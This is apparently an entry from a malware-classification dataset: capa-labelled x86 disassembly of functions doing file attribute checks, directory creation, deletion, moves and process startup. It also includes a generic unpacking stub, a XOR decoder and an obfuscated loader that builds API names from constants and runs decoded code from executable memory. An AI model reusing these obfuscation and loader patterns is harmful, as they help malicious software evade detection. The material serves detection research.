joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1119000
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
sub esp, 0xc00
push ebx
push esi
test edx, edx
je 0x1119030
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1119020
sub eax, esi
cmp eax, 0x3f6
ja 0x1119056
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x1119060
mov eax, ebx
lea esi, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1119040
sub eax, esi
sar eax, 1
cmp eax, 0x3f6
jbe 0x1119060
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov dword [ebp + 0xc], 0
test edx, edx
je 0x111909a
cmp byte [edx], 0
je 0x111909a
push edx
call fcn.011173c0
mov dword [ebp + 0xc], eax
test eax, eax
jne 0x1119097
mov esi, dword [ebp + 8]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1119085
sub eax, edx
add eax, esi
mov dword [ebp + 0xc], eax
mov edx, esi
jmp 0x111909a
mov edx, dword [ebp + 8]
push edi
xor edi, edi
test ebx, ebx
je 0x11190d8
cmp word [ebx], di
je 0x11190d8
push 0x2e
push ebx
call fcn.01117080
push eax
call dword [sym.imp.msvcrt.dll_wcsrchr]
mov edi, eax
add esp, 8
test edi, edi
jne 0x11190d5
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x11190c3
sub eax, edx
sar eax, 1
lea edi, [ebx + eax*2]
mov edx, dword [ebp + 8]
xor eax, eax
mov byte [ebp - 0x400], 0
mov word [ebp - 0xc00], ax
lea esi, [eax + 1]
jmp 0x11190f0
test edx, edx
je 0x1119117
cmp byte [edx], 0
je 0x1119117
mov eax, dword [ebp + 0xc]
push eax
push esi
push edx
sub eax, edx
push eax
lea ecx, [ebp - 0x400]
push 0x101aa40
push ecx
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0x18
test ebx, ebx
je 0x1119145
cmp word [ebx], 0
je 0x1119145
push edi
push esi
mov edx, edi
push ebx
sub edx, ebx
sar edx, 1
push edx
push 0x101aa28
lea eax, [ebp - 0xc00]
push 0x400
push eax
call dword [sym.imp.msvcrt.dll__snwprintf]
add esp, 0x1c
call fcn.011148c0
test eax, eax
je 0x1119180
cmp word [ebp - 0xc00], 0
je 0x1119180
lea ecx, [ebp - 0xc00]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
test al, al
je 0x1119192
cmp esi, 0xf4240
jge 0x11191ea
mov edx, dword [ebp + 8]
inc esi
jmp 0x11190f0
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jmp 0x111916d
mov edx, dword [ebp + 8]
test edx, edx
je 0x11191b2
cmp byte [edx], 0
je 0x11191b2
lea eax, [ebp - 0x400]
mov ecx, eax
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x11191a8
test ebx, ebx
je 0x11191df
cmp word [ebx], 0
je 0x11191df
lea eax, [ebp - 0xc00]
mov edx, ebx
mov ecx, eax
sub edx, ecx
jmp 0x11191d0
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x11191d0
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1119200
Capabilities:
Delete file

Disassembly:
cmp dword [ecx + 4], 0xffffffff
mov dword [ecx], 0x101a9b8
je 0x1119222
cmp byte [ecx + 0x10], 0
jne 0x1119222
cmp byte [ecx + 0x12], 0
je 0x111921d
jmp fcn.01116d10
jmp fcn.01116c80
ret
Function at 0x11192b0
Capabilities:
Create directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x11193c2
cmp byte [ebx], 0
je 0x11193c2
push esi
push edi
mov byte [ebp + 0xb], 1
mov edi, ebx
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x400
jge 0x111936d
cmp byte [edi], 0x5c
jne 0x111933f
push esi
lea eax, [ebp - 0x400]
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strncpy]
add esp, 0xc
mov byte [ebp + esi - 0x400], 0
call fcn.011148c0
push 0
lea ecx, [ebp - 0x400]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
je 0x1119335
push 0
push 0
lea edx, [ebp - 0x400]
push edx
call fcn.01116f80
jmp 0x111933f
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov byte [ebp + 0xb], 0
cmp byte [0x1128e28], 0
je 0x1119362
movzx eax, byte [edi]
cmp byte [eax + 0x1128d28], 0
je 0x1119362
cmp byte [edi + 1], 0
je 0x1119362
add edi, 2
add esi, 2
jmp 0x1119364
inc edi
inc esi
cmp byte [edi], 0
jne 0x11192e0
cmp byte [ebp + 0xc], 0
pop edi
pop esi
jne 0x11193b8
push ebx
call fcn.011170e0
movsx eax, byte [eax]
cmp eax, 0x5c
je 0x11193b8
cmp eax, 0x2f
je 0x11193b8
call fcn.011148c0
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
je 0x11193ae
push 0
push 0
push ebx
call fcn.01116f80
mov al, byte [ebp + 0xb]
pop ebx
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov byte [ebp + 0xb], 0
mov al, byte [ebp + 0xb]
pop ebx
mov esp, ebp
pop ebp
ret 8
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x11193d0
Capabilities:
Create directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc00
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x1119528
cmp word [ebx], 0
je 0x1119528
push esi
push edi
mov byte [ebp + 0xb], 1
xor edi, edi
lea esp, [esp]
mov esi, edi
sar esi, 1
cmp esi, 0x400
jge 0x11194b1
cmp word [edi + ebx], 0x5c
jne 0x11194a3
push esi
lea eax, [ebp - 0x800]
push ebx
push eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
xor ecx, ecx
add esp, 0xc
mov word [ebp + esi*2 - 0x800], cx
call fcn.011148c0
test eax, eax
je 0x111949f
cmp word [ebp - 0x800], 0
je 0x111949f
push 0
lea edx, [ebp - 0x800]
push edx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x1119499
push 0
lea eax, [ebp - 0x800]
push eax
push 0
call fcn.01116f80
push 0
push 0
push 0x400
lea ecx, [ebp - 0xc00]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x800]
push edx
push 0
push 0
mov byte [ebp - 0xc00], 0
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
jmp 0x11194a3
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov byte [ebp + 0xb], 0
add edi, 2
cmp word [edi + ebx], 0
jne 0x1119400
cmp byte [ebp + 0xc], 0
pop edi
pop esi
jne 0x111951e
mov eax, ebx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x11194c0
sub eax, edx
sar eax, 1
lea eax, [ebx + eax*2 - 2]
jne 0x11194d7
mov eax, ebx
movzx eax, word [eax]
cmp eax, 0x5c
je 0x111951e
cmp eax, 0x2f
je 0x111951e
call fcn.011148c0
test eax, eax
je 0x111951a
cmp word [ebx], 0
je 0x111951a
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryW]
test eax, eax
je 0x1119514
push 0
push ebx
push 0
call fcn.01116f80
mov al, byte [ebp + 0xb]
pop ebx
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov byte [ebp + 0xb], 0
mov al, byte [ebp + 0xb]
pop ebx
mov esp, ebp
pop ebp
ret 8
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x111b140
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebx
mov ebx, dword [sym.imp.msvcrt.dll_free]
push esi
mov esi, ecx
mov eax, dword [esi + 0x68b8]
push edi
test eax, eax
je 0x111b15d
push eax
call ebx
add esp, 4
mov eax, dword [esi + 0x5ba8]
test eax, eax
je 0x111b16d
push eax
call ebx
add esp, 4
push 0x42d8
lea edi, [esi + 0xc28]
push 0
push edi
call sub.msvcrt.dll_memset
mov edi, dword [edi + 0x2d58]
add esp, 0xc
test edi, edi
je 0x111b193
push edi
call ebx
add esp, 4
cmp dword [esi + 4], 0xffffffff
mov dword [esi], 0x101a9b8
je 0x111b1ba
cmp byte [esi + 0x10], 0
jne 0x111b1ba
cmp byte [esi + 0x12], 0
pop edi
mov ecx, esi
pop esi
pop ebx
je 0x111b1b5
jmp fcn.01116d10
jmp fcn.01116c80
pop edi
pop esi
pop ebx
ret
Function at 0x111c250
Capabilities:
Check if file exists
Get file attributes
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x30c0
call fcn.011217d0
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
push esi
lea eax, [ebp - 0x30c0]
push eax
push edi
push esi
mov dword [ebp - 0x24ac], esi
mov dword [ebp - 0x2488], esi
mov dword [ebp - 0x2464], esi
call fcn.0111b520
test al, al
jne 0x111c295
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4
cmp word [ebp - 0x2440], si
je 0x111c28b
lea ecx, [ebp - 0x2440]
push ecx
lea edx, [ebp - 0x2cc0]
push edx
call fcn.01117080
push eax
call fcn.01118410
test eax, eax
je 0x111c28b
lea eax, [ebp - 0x2440]
push eax
push edi
call fcn.01117080
push eax
call fcn.01118410
test eax, eax
jne 0x111c28b
push ebx
mov ebx, dword [sym.imp.msvcrt.dll_wcsncpy]
mov word [ebp - 0x800], ax
test ax, ax
jne 0x111c374
push 0x3ff
lea ecx, [ebp - 0x800]
push edi
push ecx
call ebx
add esp, 0xc
push esi
push 0x101aa9c
push 0x400
lea eax, [ebp - 0x800]
xor edx, edx
push eax
mov word [ebp - 2], dx
call fcn.01117080
push eax
call dword [sym.imp.msvcrt.dll__snwprintf]
add esp, 0x10
call fcn.011148c0
test eax, eax
je 0x111c359
mov ax, word [ebp - 0x800]
test ax, ax
je 0x111c360
lea ecx, [ebp - 0x800]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
test al, al
je 0x111c359
xor eax, eax
mov word [ebp - 0x800], ax
jmp 0x111c360
mov ax, word [ebp - 0x800]
add esi, 0x7b
cmp esi, 0x2710
jl 0x111c2e0
test ax, ax
je 0x111c3db
push 0x3ff
lea edx, [ebp - 0x1c20]
push edi
push edx
call ebx
add esp, 0xc
lea ecx, [ebp - 0x2cc0]
xor eax, eax
push ecx
mov word [ebp - 0x1422], ax
call fcn.01117080
lea edx, [ebp - 0x1c20]
push edx
mov esi, eax
call fcn.01117080
lea esp, [esp]
movzx ecx, word [esi]
mov word [eax], cx
add esi, 2
add eax, 2
test cx, cx
jne 0x111c3b0
mov esi, dword [sym.imp.KERNEL32.DLL_MoveFileW]
lea eax, [ebp - 0x800]
push eax
lea ecx, [ebp - 0x1c20]
push ecx
call esi
test eax, eax
jne 0x111c3e6
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x1420]
call fcn.01114800
xor bl, bl
call fcn.011148c0
test eax, eax
je 0x111c417
test edi, edi
je 0x111c417
cmp word [edi], 0
je 0x111c417
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
test al, al
jne 0x111c429
push 1
push edi
push 0
lea ecx, [ebp - 0x1420]
call fcn.01116b50
mov bl, al
lea edx, [ebp - 0x1c20]
push edx
lea eax, [ebp - 0x800]
push eax
call esi
test bl, bl
je 0x111c453
lea ecx, [ebp - 0x1420]
call fcn.01116c80
lea ecx, [ebp - 0x1420]
call fcn.01116d10
cmp dword [ebp - 0x141c], 0xffffffff
mov dword [ebp - 0x1420], 0x101a9b8
je 0x111c493
cmp byte [ebp - 0x1410], 0
jne 0x111c493
cmp byte [ebp - 0x140e], 0
lea ecx, [ebp - 0x1420]
je 0x111c48e
call fcn.01116d10
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
call fcn.01116c80
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x111cae0
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 0xc]
push esi
xor esi, esi
push edi
mov edi, ecx
cmp ebx, esi
je 0x111cbb4
mov eax, dword [edi + 0xc]
cmp eax, esi
je 0x111cb18
sub eax, 1
je 0x111cb0d
sub eax, 1
jne 0x111cb18
push 0xfffffffffffffff4
jmp 0x111cb0f
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
mov dword [edi + 4], eax
mov dword [ebp - 4], esi
cmp dword [edi + 0xc], esi
je 0x111cb6d
cmp ebx, esi
jbe 0x111cb8b
mov ebx, dword [ebp + 8]
jmp 0x111cb30
mov eax, dword [ebp + 0xc]
sub eax, esi
cmp eax, 0x4000
jb 0x111cb41
mov eax, 0x4000
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [edi + 4]
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp eax, 1
sete al
test al, al
je 0x111cb8b
add esi, 0x4000
cmp esi, dword [ebp + 0xc]
jb 0x111cb30
jmp 0x111cb87
mov edx, dword [ebp + 8]
mov eax, dword [edi + 4]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push edx
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
cmp eax, 1
sete al
test al, al
jne 0x111cbb0
cmp byte [edi + 0x14], 0
je 0x111cbb0
cmp dword [edi + 0xc], 0
jne 0x111cbb0
lea ecx, [edi + 0x418]
push ecx
add edi, 0x17
push edi
push 0
push 0
mov ecx, 0x112809c
call fcn.01116960
mov byte [edi + 8], 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x111d870
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x1c]
sub esp, 0x800
test eax, eax
je 0x111d885
mov byte [eax], 0
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0x10]
xor bl, bl
call fcn.011148c0
test eax, eax
je 0x111d8ea
test esi, esi
je 0x111d8ea
cmp word [esi], 0
je 0x111d8ea
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
test al, al
je 0x111d9e9
test bl, bl
jne 0x111d9a4
mov bl, 1
test esi, esi
je 0x111d8fe
cmp word [esi], 0
je 0x111d8fe
lea eax, [ebp - 0x800]
cmp eax, esi
je 0x111d92d
push 0x400
mov ecx, eax
push esi
push ecx
call dword [sym.imp.msvcrt.dll_wcsncpy]
add esp, 0xc
jmp 0x111d92d
test edi, edi
je 0x111d9e9
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jmp 0x111d8b2
test edi, edi
je 0x111d924
push 0x400
lea eax, [ebp - 0x800]
push eax
push 0xffffffffffffffff
xor edx, edx
push edi
push edx
push edx
mov word [ebp - 0x800], dx
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
jmp 0x111d92d
xor ecx, ecx
mov word [ebp - 0x800], cx
lea eax, [ebp - 0x800]
xor edx, edx
push eax
mov word [ebp - 2], dx
call fcn.0111c250
test al, al
je 0x111d9a4
test edi, edi
je 0x111d96c
cmp byte [edi], 0
je 0x111d96c
push 0
push 0
push 0x1000000
push edi
push 0xffffffffffffffff
lea ecx, [ebp - 0x800]
push ecx
push 0
push 0
mov byte [edi], 0
call dword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
test esi, esi
je 0x111d890
cmp word [esi], 0
je 0x111d890
lea eax, [ebp - 0x800]
mov edx, esi
mov ecx, eax
sub edx, ecx
lea ebx, [ebx]
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x111d990
jmp 0x111d890
mov eax, dword [ebp + 0x18]
xor bl, bl
cmp eax, 2
je 0x111d9d0
cmp eax, 3
jne 0x111d9e9
push esi
push edi
call fcn.01119000
test al, al
jne 0x111d890
mov dword [ebp + 0x18], 0
jmp 0x111d890
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x111da88
pop edi
pop esi
mov byte [eax], 1
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0x24
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x111da0a
push 1
push esi
push edi
mov ecx, ebx
call fcn.01116b50
test al, al
je 0x111da0a
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0x24
call fcn.011148c0
test eax, eax
je 0x111da28
test esi, esi
je 0x111da28
cmp word [esi], 0
je 0x111da28
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
jmp 0x111da35
test edi, edi
je 0x111da35
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
test esi, esi
je 0x111da49
cmp word [esi], 0
je 0x111da49
push 1
push esi
call fcn.011193d0
jmp 0x111da5a
test edi, edi
je 0x111da5a
cmp byte [edi], 0
je 0x111da5a
push 1
push edi
call fcn.011192b0
test ebx, ebx
je 0x111da72
push 1
push esi
push edi
mov ecx, ebx
call fcn.01116b50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x24
test edi, edi
je 0x111da88
push edi
call dword [sym.imp.msvcrt.dll_remove]
add esp, 4
test eax, eax
je 0x111d9ff
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0x24
Function at 0x11216f1
Capabilities:
Terminate process

Disassembly:
push 0x58
push 0x1122728
call fcn.01122024
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
mov dword [ebp - 4], 0xfffffffe
mov dword [ebp - 4], 1
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, 0x11292b8
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_InterlockedCompareExchange]
test eax, eax
je 0x11214a8
cmp eax, esi
jne 0x112149b
xor esi, esi
inc esi
mov ebx, esi
jmp 0x11214ab
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x1121482
xor esi, esi
inc esi
mov eax, dword [0x11292b4]
cmp eax, esi
jne 0x11214be
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x11214ed
mov eax, dword [0x11292b4]
test eax, eax
jne 0x11214e7
mov dword [0x11292b4], esi
push 0x1001644
push 0x1001634
call fcn.011213e7
pop ecx
pop ecx
test eax, eax
je 0x11214ed
jmp 0x1121615
mov dword [0x1128f7c], esi
mov eax, dword [0x11292b4]
cmp eax, esi
jne 0x1121511
push 0x1001630
push 0x1001624
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x11292b4], 2
test ebx, ebx
jne 0x112151d
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_InterlockedExchange]
cmp dword [0x11292c0], 0
je 0x1121541
push 0x11292c0
call fcn.01121f99
pop ecx
test eax, eax
je 0x1121541
push 0
push 2
push 0
call dword [0x11292c0]
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x112159d
test al, al
je 0x112155b
cmp dword [ebp - 0x1c], 0
jne 0x112159d
mov al, byte [esi]
test al, al
je 0x112156b
cmp al, 0x20
ja 0x112156b
inc esi
mov dword [ebp - 0x20], esi
jmp 0x112155b
test byte [ebp - 0x3c], 1
je 0x1121577
movzx eax, word [ebp - 0x38]
jmp 0x112157a
push 0xa
pop eax
push eax
push esi
push 0
push 0x1000000
call main
mov dword [0x1128f78], eax
cmp dword [0x1128f6c], 0
jne 0x11215f1
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp al, 0x22
jne 0x11215ac
xor ecx, ecx
cmp dword [ebp - 0x1c], ecx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.msvcrt.dll__ismbblead]
pop ecx
test eax, eax
je 0x11215bf
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x1121548
cmp dword [0x1128f7c], 0
jne 0x1121600
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1128f78]
jmp 0x1121621
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
call fcn.01122069
ret
call fcn.01122171
jmp 0x1121448
Function at 0x724300
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x1fb000]
lea eax, [edi + 0x300370]
push dword [eax]
mov dword [eax], 0x8c5834b7
push eax
push edi
or ebp, 0xffffffff
jmp 0x724332
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x724339
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x724328
mov eax, 1
add ebx, ebx
jne 0x72434b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x72435c
jne 0x72437b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x72437b
dec eax
add ebx, ebx
jne 0x724368
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x724340
add ebx, ebx
jne 0x724377
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x7243cd
xor ecx, ecx
sub eax, 3
jb 0x724393
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x724402
sar eax, 1
mov ebp, eax
jmp 0x72439e
add ebx, ebx
jne 0x72439e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x72436c
inc ecx
add ebx, ebx
jne 0x7243ac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x72436c
add ebx, ebx
jne 0x7243b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x7243ae
jne 0x7243ca
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x7243ae
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7243ec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7243de
jmp 0x72432e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7243ec
add edi, ecx
jmp 0x72432e
pop esi
pop edi
pop eax
mov dword [edi], eax
mov edi, esi
mov ecx, 0x10d66
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x72440e
cmp byte [edi], 0x29
jne 0x72440e
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x724413
lea edi, [esi + 0x317000]
mov eax, dword [edi]
or eax, eax
je 0x72448b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x3241e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3243c0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x724440
mov ecx, edi
jns 0x72446f
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3243c8]
or eax, eax
je 0x724485
mov dword [ebx], eax
add ebx, 4
jmp 0x72445d
call dword [esi + 0x3243c4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x7244bc
cmp al, 0xef
ja 0x7244af
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x724491
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x72449e
mov ebp, dword [esi + 0x3243cc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x7244f0
sub esp, 0xffffff80
jmp 0x5c84e0
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00431219
Function at 0x40cb68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40cb77
pop dword [ebp - 0x3c]
mov eax, 0x53cdcd8a
add eax, 0xac72fded
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x200d00f0
sub dword [ebp - 0x4c], 0xd1babba5
mov dword [ebp - 0x48], 0x56f3795a
sub dword [ebp - 0x48], 0x24c02d15
mov dword [ebp - 0x44], 0x5dbd2e88
add dword [ebp - 0x44], 0xee8f15a6
mov dword [ebp - 0x40], 0x7c41c671
add dword [ebp - 0x40], 0x83be398f
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x8565191d
sub dword [ebp - 0x4c], 0x10f2afc7
mov dword [ebp - 0x48], 0xc74e3fc3
add dword [ebp - 0x48], 0x7a1e21b2
mov dword [ebp - 0x44], 0x63b3342f
sub dword [ebp - 0x44], 0x43c7c3
mov dword [ebp - 0x40], 0x7dd233de
sub dword [ebp - 0x40], 0x7dd233de
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xe9594cb2
sub eax, 0xe9186c26
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x33c3c
push 0
call eax
mov ecx, 0xfcfa7581
add ecx, 0x305c3d6
mov edx, eax
mov edi, 0x41a400
add edi, dword [ebp - 0x3c]
mov esi, 0xc7fdfe0b
add esi, 0x47b3b450
xor dword [ebp - 0x28], ecx
mov ebx, dword [edi]
add dword [ebp - 0x1c], 0xb27ab2a4
sub ebx, esi
mov dword [edx], ebx
sub dword [ebp - 0x10], edx
add edx, 0x9feecb4b
add edx, 0x601134b9
add edi, 0x462589c5
sub edi, 0x462589c1
loop 0x40cc8e
add eax, 0xe7c46e62
sub eax, 0xe7c39633
mov ebx, eax
add eax, 0xf3810a23
sub eax, 0xf3810a1e
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret